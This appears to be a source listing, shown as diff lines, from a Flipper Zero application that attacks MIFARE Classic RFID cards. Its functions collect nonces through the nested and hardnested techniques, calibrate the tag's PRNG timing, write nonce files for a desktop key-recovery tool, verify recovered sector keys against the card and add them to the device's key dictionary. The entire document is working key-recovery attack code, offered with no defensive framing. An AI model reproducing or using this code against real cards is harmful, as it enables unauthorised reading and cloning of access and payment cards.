- for(uint8_t sector = 0; sector < sector_count &&
- mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
- sector++) {
- for(uint8_t key_type = 0;
- key_type < 2 && mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
- key_type++) {
- Nonces* info = nonces.nonces[sector][key_type][0];
- if(info->collected) {
- FURI_LOG_I(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- if(!nested_check_block(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
- FURI_LOG_E(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- while(!info->collected &&
- mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
- Stream* file_stream = file_stream_alloc(storage);
- FuriString* hardnested_file = furi_string_alloc();
- mifare_nested_worker_get_hardnested_file_path(
- &data, hardnested_file, sector, key_type);
- file_stream_open(
- file_stream,
- furi_string_get_cstr(hardnested_file),
- FSAM_READ_WRITE,
- FSOM_CREATE_ALWAYS);
- FuriString* header = furi_string_alloc_printf(
- "Filetype: Flipper Nested Nonces File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\nKey %c cuid 0x%08lx sec %u\n",
- NESTED_NONCE_FORMAT_VERSION,
- NESTED_RECOVER_KEYS_GITHUB_LINK,
- !key_type ? 'A' : 'B',
- cuid,
- sector);
- stream_write_string(file_stream, header);
- furi_string_free(header);
- uint32_t first_byte_sum = 0;
- uint32_t* found = malloc(sizeof(uint32_t) * 256);
- for(uint32_t i = 0; i < 256; i++) {
- found[i] = 0;
- }
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
- struct nonce_info_hard result = nested_hard_nonce_attack(
- &tx_rx,
- key_block,
- found_key_type,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type,
- key,
- found,
- &first_byte_sum,
- file_stream);
- if(result.static_encrypted) {
- file_stream_close(file_stream);
- storage_simply_remove(storage, furi_string_get_cstr(hardnested_file));
- furi_string_free(hardnested_file);
- free(found);
- free(mf_data);
- nfc_deactivate();
- mifare_nested_worker->callback(
- MifareNestedWorkerEventStaticEncryptedNonce,
- mifare_nested_worker->context);
- return;
- }
- if(result.full) {
- uint32_t states = 0;
- for(uint32_t i = 0; i < 256; i++) {
- states += found[i];
- }
- nonces.hardnested_states = states;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventHardnestedStatesFound,
- mifare_nested_worker->context);
- FURI_LOG_D(TAG, "Found states: %lu", states);
- if(states == 256) {
- FURI_LOG_D(
- TAG, "All states collected, first_byte_sum: %lu", first_byte_sum);
- bool valid = false;
- for(uint8_t i = 0; i < sizeof(sums); i++) {
- if(sums[i] == first_byte_sum) {
- valid = true;
- break;
- }
- }
- if(!valid) {
- FURI_LOG_E(TAG, "Invalid first_byte_sum!");
- break;
- }
- info->collected = true;
- info->hardnested = true;
- info->skipped = false;
- nonces.cuid = result.cuid;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- break;
- }
- } else {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
- }
- }
- free(found);
- furi_string_free(hardnested_file);
- file_stream_close(file_stream);
- }
- }
- }
- mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
- free(mf_data);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
- nfc_deactivate();
- }
- void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker) {
- NonceList_t nonces;
- Storage* storage = furi_record_open(RECORD_STORAGE);
- NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
- MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
- FuriString* folder_path = furi_string_alloc();
- FuriHalNfcDevData data = {};
- nested_get_data(&data);
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
- uint64_t key = 0; // Found key for attack
- uint32_t found_key_type = 0;
- uint32_t key_block = 0;
- uint32_t sector_count = 0;
- uint32_t delay = 0;
- uint32_t distance = 0;
- uint32_t tries_count = 1;
- FURI_LOG_I(TAG, "Running Nested attack");
- FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
- mifare_nested_worker_write_uid_string(&data, tag_info);
- FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
- furi_string_free(tag_info);
- if(type == MfClassicType4k) {
- sector_count = 40;
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
- } else if(type == MfClassicType1k) {
- sector_count = 16;
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
- } else { // if(type == MfClassicTypeMini)
- sector_count = 5;
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
- }
- furi_string_set(folder_path, NESTED_FOLDER);
- storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
- furi_string_free(folder_path);
- if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
- !mifare_nested_worker_check_initial_keys(
- &nonces, mf_data, 3, sector_count, &key, &key_block, &found_key_type)) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
- nfc_deactivate();
- free(mf_data);
- free_nonces(&nonces, sector_count, 3);
- return;
- }
- FURI_LOG_I(
- TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
- FuriHalNfcTxRxContext tx_rx = {};
- uint32_t first_distance = 0;
- uint32_t second_distance = 0;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
- distance = nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, false);
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
- first_distance =
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
- }
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
- second_distance =
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, 10000, true);
- }
- if(first_distance == 0 && second_distance == 0) {
- nfc_deactivate();
- free(mf_data);
- free_nonces(&nonces, sector_count, 3);
- mifare_nested_worker_change_state(
- mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
- return;
- }
- if(first_distance < second_distance - 100 && second_distance > 100) {
- FURI_LOG_E(
- TAG,
- "Discovered tag with PRNG that depends on time. PRNG values: %lu, %lu",
- first_distance,
- second_distance);
- struct distance_info info =
- nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
- if(info.max_prng - info.min_prng > 150) {
- FURI_LOG_W(
- TAG,
- "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
- info.max_prng,
- info.min_prng,
- info.max_prng - info.min_prng);
- delay = 1;
- } else {
- FURI_LOG_I(
- TAG,
- "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
- distance =
- nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
- delay = 2;
- tries_count = 3;
- }
- }
- if(distance == 0 || delay == 1) {
- bool failed = false;
- // Tag need delay or unpredictable PRNG
- FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
- delay = mifare_nested_worker_predict_delay(
- &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
- if(delay == 1) {
- FURI_LOG_E(TAG, "Can't determine delay");
- // Check that we didn't lost tag
- FuriHalNfcDevData lost_tag_data = {};
- nested_get_data(&lost_tag_data);
- if(lost_tag_data.uid_len == 0) {
- // We lost it.
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
- while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
- lost_tag_data.cuid != data.cuid) {
- furi_delay_ms(250);
- nested_get_data(&lost_tag_data);
- }
- mifare_nested_worker->callback(
- MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
- continue;
- }
- failed = true;
- }
- if(delay == 2) {
- FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
- nfc_deactivate();
- free(mf_data);
- free_nonces(&nonces, sector_count, 3);
- mifare_nested_worker_change_state(
- mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
- mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
- return;
- }
- if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
- distance = nested_calibrate_distance(
- &tx_rx, key_block, found_key_type, key, delay, false);
- }
- if(distance == 0 && !failed) {
- FURI_LOG_E(TAG, "Found delay, but can't find distance");
- failed = true;
- }
- if(failed) {
- nfc_deactivate();
- mifare_nested_worker->callback(
- MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
- free(mf_data);
- free_nonces(&nonces, sector_count, 3);
- return;
- }
- tries_count = 3;
- }
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- for(uint8_t tries = 0; tries < tries_count; tries++) {
- for(uint8_t sector = 0; sector < sector_count; sector++) {
- for(uint8_t key_type = 0; key_type < 2; key_type++) {
- Nonces* info = nonces.nonces[sector][key_type][tries];
- if(info->collected) {
- FURI_LOG_I(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we already have a key",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][tries] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- if(!nested_check_block(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
- FURI_LOG_E(
- TAG,
- "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info->skipped = true;
- nonces.nonces[sector][key_type][0] = info;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- continue;
- }
- while(!info->collected) {
- if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
- break;
- }
- struct nonce_info result = nested_attack(
- &tx_rx,
- key_block,
- found_key_type,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type,
- key,
- distance,
- delay);
- if(result.full) {
- FURI_LOG_I(
- TAG,
- "Accured nonces for sector %u, block %u, key_type: %u",
- sector,
- mifare_nested_worker_get_block_by_sector(sector),
- key_type);
- info = nonces.nonces[sector][key_type][tries];
- info->collected = true;
- info->skipped = false;
- memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
- memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
- memcpy(&info->parity, result.parity, sizeof(result.parity));
- nonces.nonces[sector][key_type][tries] = info;
- nonces.cuid = result.cuid;
- nonces.sector_count = sector_count;
- nonces.tries = tries_count;
- mifare_nested_worker->context->nonces = &nonces;
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
- break;
- } else {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoTagDetected,
- mifare_nested_worker->context);
- }
- }
- }
- }
- }
- break;
- }
- mifare_nested_worker_write_nonces(
- &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
- free(mf_data);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
- nfc_deactivate();
- }
- bool* mifare_nested_worker_check_keys_exists(
- Storage* storage,
- char* path,
- uint64_t* keys,
- uint32_t key_count,
- MifareNestedWorker* mifare_nested_worker) {
- bool* old_keys = malloc(sizeof(bool) * key_count);
- Stream* file_stream = file_stream_alloc(storage);
- file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
- FuriString* key_strings[key_count];
- for(uint32_t i = 0; i < key_count; i++) {
- old_keys[i] = false;
- key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
- }
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
- FuriString* next_line = furi_string_alloc();
- if(!stream_read_line(file_stream, next_line)) {
- break;
- }
- for(uint32_t i = 0; i < key_count; i++) {
- if(keys[i] == (uint64_t)-1) continue;
- if(furi_string_cmp(next_line, key_strings[i]) == 0) {
- old_keys[i] = true;
- }
- }
- furi_string_free(next_line);
- }
- for(uint32_t i = 0; i < key_count; i++) {
- furi_string_free(key_strings[i]);
- }
- file_stream_close(file_stream);
- free(file_stream);
- return old_keys;
- }
- void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
- Stream* file_stream = file_stream_alloc(storage);
- file_stream_open(
- file_stream,
- EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
- FSAM_READ_WRITE,
- FSOM_OPEN_APPEND);
- stream_write_string(file_stream, key);
- file_stream_close(file_stream);
- }
- void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
- KeyInfo_t* key_info = mifare_nested_worker->context->keys;
- Storage* storage = furi_record_open(RECORD_STORAGE);
- Stream* file_stream = file_stream_alloc(storage);
- FuriString* next_line = furi_string_alloc();
- FuriString* path = furi_string_alloc();
- FuriHalNfcDevData data = {};
- nested_get_data(&data);
- MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
- NestedCheckKeyResult result = NestedCheckKeyNoTag;
- FuriHalNfcTxRxContext tx_rx = {};
- uint32_t key_count = 0;
- uint32_t sector_key_count = 0;
- uint64_t keys[80];
- bool found_keys[2][40];
- bool unique_keys[2][40];
- uint32_t sector_count = 0;
- if(type == MfClassicType4k) {
- sector_count = 40;
- FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
- } else if(type == MfClassicType1k) {
- sector_count = 16;
- FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
- } else { // if(type == MfClassicTypeMini)
- sector_count = 5;
- FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
- }
- uint32_t keys_count = sector_count * 2;
- for(uint8_t key = 0; key < 2; key++) {
- for(uint8_t i = 0; i < sector_count; i++) {
- found_keys[key][i] = false;
- unique_keys[key][i] = false;
- }
- }
- for(uint8_t i = 0; i < keys_count; i++) {
- keys[i] = -1;
- }
- mifare_nested_worker_get_found_keys_file_path(&data, path);
- if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
- FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
- file_stream_close(file_stream);
- mifare_nested_worker_get_nonces_file_path(&data, path);
- if(!file_stream_open(
- file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
- } else {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
- }
- file_stream_close(file_stream);
- free(file_stream);
- furi_string_free(path);
- furi_string_free(next_line);
- furi_record_close(RECORD_STORAGE);
- return;
- };
- while(true) {
- if(!stream_read_line(file_stream, next_line)) {
- break;
- }
- if(furi_string_start_with_str(next_line, "Key")) {
- uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
- uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
- atoi((char[]){furi_string_get_char(next_line, 14)});
- if(!unique_keys[key_type][sector]) {
- unique_keys[key_type][sector] = true;
- sector_key_count++;
- }
- }
- key_count++;
- }
- stream_rewind(file_stream);
- key_info->total_keys = key_count;
- key_info->sector_keys = sector_key_count;
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
- if(!stream_read_line(file_stream, next_line)) {
- break;
- }
- if(furi_string_start_with_str(next_line, "Key")) {
- // Key X sector XX: XX XX XX XX XX XX
- // 0000000000111111111122222222223333
- // 0123456789012345678901234567890123
- uint8_t keyChar[6];
- uint8_t count = 0;
- uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
- uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
- atoi((char[]){furi_string_get_char(next_line, 14)});
- for(uint8_t i = 17; i < 33; i += 3) {
- hex_char_to_uint8(
- furi_string_get_char(next_line, i),
- furi_string_get_char(next_line, i + 1),
- &keyChar[count]);
- count++;
- }
- uint64_t key = nfc_util_bytes2num(keyChar, 6);
- key_info->checked_keys++;
- if(found_keys[key_type][sector]) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
- continue;
- }
- while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
- result = nested_check_key(
- &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
- if(result == NestedCheckKeyNoTag) {
- mifare_nested_worker->callback(
- MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
- furi_delay_ms(250);
- } else {
- break;
- }
- }
- if(result == NestedCheckKeyValid) {
- FURI_LOG_I(
- TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
- bool exists = false;
- for(uint8_t i = 0; i < keys_count; i++) {
- if(keys[i] == key) {
- exists = true;
- }
- }
- if(!exists) {
- keys[key_info->found_keys] = key;
- }
- key_info->found_keys++;
- found_keys[key_type][sector] = true;
- }
- mifare_nested_worker->callback(
- MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
- }
- }
- furi_string_free(next_line);
- file_stream_close(file_stream);
- free(file_stream);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
- bool* old_keys = mifare_nested_worker_check_keys_exists(
- storage,
- EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
- keys,
- keys_count,
- mifare_nested_worker);
- for(uint8_t i = 0; i < keys_count; i++) {
- if(old_keys[i]) {
- keys[i] = -1;
- }
- }
- old_keys = mifare_nested_worker_check_keys_exists(
- storage,
- EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
- keys,
- keys_count,
- mifare_nested_worker);
- for(uint8_t i = 0; i < keys_count; i++) {
- if(old_keys[i]) {
- keys[i] = -1;
- }
- }
- for(uint8_t i = 0; i < keys_count; i++) {
- if(keys[i] == (uint64_t)-1) continue;
- FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
- mifare_nested_worker_write_key(storage, key_string);
- FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
- key_info->added_keys++;
- furi_string_free(key_string);
- }
- if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
- FURI_LOG_E(TAG, "Failed to remove .keys file");
- }
- furi_record_close(RECORD_STORAGE);
- furi_string_free(path);
- mifare_nested_worker->callback(
- MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
- return;
- }
|